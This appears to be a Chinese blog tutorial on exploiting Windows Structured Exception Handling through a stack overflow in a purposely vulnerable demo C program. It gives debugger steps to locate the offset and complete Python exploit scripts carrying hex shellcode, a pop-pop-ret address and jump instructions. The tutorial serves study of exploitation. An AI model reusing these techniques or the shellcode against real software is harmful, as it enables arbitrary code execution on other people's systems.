SEH(“Structured Exception Handling”),即结构化异常处理,是(windows)操作系统提供给程序设计者的强有力的处理程序错误或异常的武器。

有漏洞的源码:

#include<windows.h>
#include<string.h>
#include<stdio.h>void test(char *str)
{char buf[8];strcpy(buf,str);
}int main()
{FILE *fp;int i;char str[30000];if((fp=fopen("C:\\test.txt","r"))==NULL){printf("\nFile can not open!");getchar();exit(0);}for(i=0;;i++){if(!feof(fp)){str[i]=fgetc(fp);}else{break;}}test(str);fclose(fp);getchar();return 0;
}

采用 python 在 test.txt 中写入50000 个 A:

filename="C:\\test.txt"#待写入的文件名
myfile=open(filename,'w') #以写方式打开文件
filedata="A"*50000 #待写入的数据
myfile.write(filedata) #写入数据
myfile.close() #关闭文件


用 WinDbg 以打开可执行文件的方式打开编译后的 c.exe 文件,执行命令 g,可以看到 WinDbg 捕获了异常。

再用 !exchain 查看 SEH 链。

利用超长字符串成功覆盖了 SEH,接下来就是定位溢出点了,即多少个字符可以覆盖到 SEH。

ImmunityDebugger 下载:https://dl.pconline.com.cn/download/798567.html

首先用 ImmunityDebugger 的 mona.py 插件产生 50000 个随机字符

!mona pc 50000


可以在 ImmunityDebugger 的安装目录下看到 pattern.txt

将选中的内容去掉,并改名为 C 盘下的 test.txt 文件。

然后再次用 windbg 打开 c.exe 程序,输入命令 g 运行崩溃,在输入!exchain 查看异常处理链。

可以看到 Pointer to next SEH record 被覆盖为 0x4d396d4d,也就是字符串 M9mM 因为因为这是小序存放,所以反过来就是 Mm9M

打开 ImmunityDebugger 在命令行输入 !mona pattern_offset Mm9M

可知 4Mn5 出现在 9747 位置,所以理论上填充 9747 个字符就可以覆盖到 Pointer to next SEH record 了,但是 9747 个字符没有覆盖到 Pointer to next SEH record, 50000 个字符每隔 20280 就循环一次,所以我们需要覆盖 9747+20280 个字符才可以覆盖到 Pointer to next SEH record,因此我们把前面的 python 代码改成下面这样

filename="C:\\test.txt"#待写入的文件名
myfile=open(filename,'w') #以写方式打开文件
filedata="A"*30027 #待写入的数据
myfile.write(filedata) #写入数据
myfile.close() #关闭文件

用 OllyDbg 打开 c.exe 执行,程序出现异常,可看到 0x19FFCC 这个地址存放 Pointer to next SEH record,我们发现 AAAAAA(ASCIA 为 0x41)还差 12 个字符覆盖到该地址。

把前面的 python 代码的这句filedata="A"*30027 #待写入的数据 改成 filedata="A"*30039 #待写入的数据。再次用 OllyDbg 运行 c.exe

刚好能覆盖到地址 0x19FF70,也就是 Pointer to next SEH record,定位完成。

SEH 利用的格式是:30039 填充物 + “\xEB\x06\x90\x90” + pop pop retn 指令序列地址 + shellcode

\xEB\x06\x90\x90:对应汇编指令 jmp 0x06; nop; nop;
位于 Pointer to next SEH record 处,异常发生时,pop pop retn 使得 EIP 到达该指令位置并执行,从而跳到 shellcode

pop pop retn:异常发生时执行,ESP 两次向更高地址移动,然后执行 RET。
每发生一次 POP <寄存器>,ESP 都向更高地址移动一个 position,32 位中,1 position = 4 bytes。
RET 相当于 pop eip,jmp eip, 即把 ESP 指向的内容放入 EIP 中并执行。

可用的 shellcode:

// 实现MessageBoxA功能的shellcode 168字节
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E"\
"\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2"\
"\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38"\
"\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"\
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4\x74\x08\xC1"\
"\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B"\
"\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E"\
"\x75\xA9\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"\
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"

最难的是找 pop pop retn 序列,因为win7 以上微软加入了各种安全保护措施,如 SafeSEH,因此不容易找到。

为 OllyDbg 安装 OllySEH 插件后,重新打开 c.exe,查看是否开启 SafeSEH。

OllyDbg 安装 OllySEH 插件:

  1. 下载 OllySEH https://github.com/poxyran/ollysseh
  2. 重新编译后将 OllySSEH.dll 放在与 OllyDbg 相同的目录下,重新打开 OllyDbg 后就可以在“Plugins”菜单栏下找到了

    可以看到 c.exe 没有开启 SafeSEH。

用 Immunity Debugger 打开 c.exe,右键反汇编窗口,选择 Search for–>Sequence of commands,填入以下内容


0x77553634 有 pop pop retn 序列(其实 0x77553634 这个地址的代码位于 main() 初始化前,这里仅为了演示说明)。

所以完整的 exploit 为:

filename="C:\\研\\test.txt"#待写入的文件名
myfile=open(filename,'w') #以写方式打开文件
filedata="A"*30039+"\xEB\x06\x90\x90"+"\x34\x36\x55\x77"+\
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E"\
"\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2"\
"\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38"\
"\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"\
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4\x74\x08\xC1"\
"\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B"\
"\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E"\
"\x75\xA9\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"\
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"  #待写入的数据
myfile.write(filedata) #写入数据
myfile.close() #关闭文件

用 OllyDbg 打开 c.exe

运行后可以看到 Pointer to Exception Handler 成被覆盖为 0x77553634,紧接着是 shellcode

但 shellcode 长度是是 168 个字节,而 Pointer to Exception Handler 后到最底下少于 168 字节,可见 shellcode 被截断了,也就是 SE handler 后面的空间不够:

可将 shellcode 放在前面填充了 30039 个 A 的地方,再在 Pointer to next SEH record 放一个往前跳的指令,就可以跳到 shellcode 了。

填充 30039 - 168 - 100 = 29771 个 A,100 个 \x90
shellcode 的起始地址:19 FF6C - A8 = 19 FEC4,为保证成功,可再减去几十,如 19FE9A,会落到 \x90
JMP 0x19FE9A 的机器码为:E9 13E5A900

filename="C:\\研\\test.txt"#待写入的文件名
myfile=open(filename,'w') #以写方式打开文件
filedata="A"*29771+"\x90"*100+\
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E"\
"\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2"\
"\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38"\
"\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"\
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4\x74\x08\xC1"\
"\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B"\
"\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E"\
"\x75\xA9\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"\
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"+\
"\xEB\x06\x90\x90"+"\x34\x36\x55\x77"\
"\xe9\x13\xe5\xa9\x00"  # 0019FF78    E9 13E5A900   JMP 0019FE9A
myfile.write(filedata) #写入数据
myfile.close() #关闭文件

参考
[1] 网络精灵 http://www.netfairy.net/
[2] Exploit writing tutorial part 3 : SEH Based Exploits
https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/
[3] 林丰. 软件安全与漏洞分析利用与安全机制绕过[M]. http://www.doc88.com/p-7945095258307.html

利用 SEH 机制 Exploit it相关推荐

  1. android利用反射调用截屏api,Android利用反射机制调用截屏方法和获取屏幕宽高的方法...

    想要在应用中进行截屏,可以直接调用 View 的 getDrawingCache 方法,但是这个方法截图的话是没有状态栏的,想要整屏截图就要自己来实现了. 还有一个方法可以调用系统隐藏的 screen ...

  2. 利用委托机制处理.NET中的异常

    利用委托机制处理.NET中的异常<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office&quo ...

  3. 利用反射机制获取未知类型的枚举的信息

    原文:利用反射机制获取未知类型的枚举的信息 开发游戏设置选项遇到一个问题,我有两个枚举,一个是屏幕分辨率,一个是语言 我需要在不知道一个枚举到底是哪一个枚举类型的情况下,获取这个枚举的值以及这个枚举类 ...

  4. 为什么有的项目不能打断点_《街霸:对决》:有效利用“打断”机制,让玩家在战斗中越级战斗...

    虽说<街霸:对决>手游将老IP优化为了卡牌对战类型的角色,在可玩性方面的确是要优秀很多,但同时也减少了角色的竞技性,不过玩家在战斗中肯定还是需要掌握一定的战斗技巧才可以的,不然的话很难越级 ...

  5. java判断对象无数据_java利用反射机制判断对象的属性是否为空以及获取和设置该属性的值...

    1.java利用反射机制判断对象的属性是否为空: Map validateMap = new LinkedHashMap(); validateMap.put("serial", ...

  6. 利用反射机制创建新类的两种方式及比较

    [0]README 0.1) 本文描述+源代码均 转自 http://blog.csdn.net/fenglibing/article/details/4531033 , 旨在深入理解 如何利用反射机 ...

  7. 利用钩子机制取得Windows的消息监控权

    利用钩子机制取得Windows的消息监控权 我们知道,Windows系统是建立在消息传递机制基础上的,几乎所有的程序活动都由消息来驱动.Windows的钩子机制可以看作是一个消息中转站,控制系统发出消 ...

  8. java 反射 单例类_利用反射机制破坏单例模式

    简介 利用反射机制破坏了单例模式,这里以懒汉单例模式为例子进行操作. 之前利用反射也是改变了类中的private变量. 类中的private变量真的private么? 正常的单例模式的实现 这里采用了 ...

  9. 利用锁机制解决商品表和库存表并发问题

    利用锁机制解决商品表和库存表并发问题 参考文章: (1)利用锁机制解决商品表和库存表并发问题 (2)https://www.cnblogs.com/hgj123/p/4817923.html 备忘一下 ...

最新文章

  1. 计算两个字符串之间是否包含的简单方法
  2. vue基础整理-组件
  3. Tensorflow遇到的问题InvalidArgumentError: Graph execution error:2 root error(s) found.解决方法
  4. Spring Boot 微服务性能下降九成!使用 Arthas 定位根因
  5. kernel panic 和 kernel Oops
  6. 使用UML工具分析类图与类的关系-bouml(java和C++)
  7. openstack安装newton版本dashboard+cinder(六)
  8. resultset需要关闭吗_你给家里的采暖壁挂炉做保养了吗?
  9. SQL超级简单的基础入门
  10. Windows API函数大全(精心总结)
  11. 计算机操作系统课后答案--郁红英版
  12. 松翰单片机 c语言例程 宏定义出错,松翰单片机 SN8F5702程序例程
  13. Java-Anagram方法
  14. SAP 用户没有下载数据到本地的权限
  15. 祝你生日快乐21音符简谱c语言代码,C语言程序设计:生日快乐歌.doc
  16. Proximity sensor---Px318J
  17. 字节跳动校招面试题演练
  18. 【从零学习OpenCV 4】Windows系统中安装OpenCV 4
  19. S32K系列S32K144学习笔记——ADC
  20. 我所知道的张小龙 by和菜头

热门文章

  1. 倩女幽魂次世代服务器为什么维护,8月22日停服维护公告--《倩女幽魂》手游2.0次世代全新起点...
  2. 同位素标记其他的研究方法和技术
  3. 锐浪报表(Grid++Report)实现动态图片链接
  4. mysql外网访问phpmyadmin_MYSQL如何用phpMyAdmin设置外部IP可以访问
  5. 03-MySQL:DBeaver 客户端使用
  6. 星辰天合联合星环科技完成互认证 共同打造更有生命力的大数据存算解决方案
  7. ImportError: No module named 'StringIO'
  8. ChatGPT:微软人工智能Office和电邮即将登场...
  9. 微信退款关于证书的使用
  10. 极验滑块验证码破解最新版